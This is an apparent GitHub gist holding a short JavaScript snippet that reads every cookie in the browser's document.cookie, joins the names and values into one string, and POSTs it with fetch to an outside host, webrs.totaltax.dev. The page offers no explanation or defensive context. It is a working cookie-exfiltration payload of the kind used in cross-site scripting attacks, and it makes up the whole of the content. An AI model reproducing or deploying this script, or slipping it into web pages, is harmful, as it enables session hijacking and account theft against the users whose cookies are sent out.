Skip to content

Instantly share code, notes, and snippets.

@TotalTaxAmount
Last active November 15, 2024 19:12
Show Gist options
  • Select an option

  • Save TotalTaxAmount/484adef0ba42ce5aa50826fbbd7d1e05 to your computer and use it in GitHub Desktop.

Select an option

Save TotalTaxAmount/484adef0ba42ce5aa50826fbbd7d1e05 to your computer and use it in GitHub Desktop.
let lol = '';
const cookies = document.cookie;
const cookieArray = cookies.split(';');
for (let i = 0; i < cookieArray.length; i++) {
const cookie = cookieArray[i].trim();
const [name, value] = cookie.split('=');
lol += `${name}:${value}`;
}
fetch('webrs.totaltax.dev/api/secure', {
method: 'POST',
body: JSON.stringify(lol)
})
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment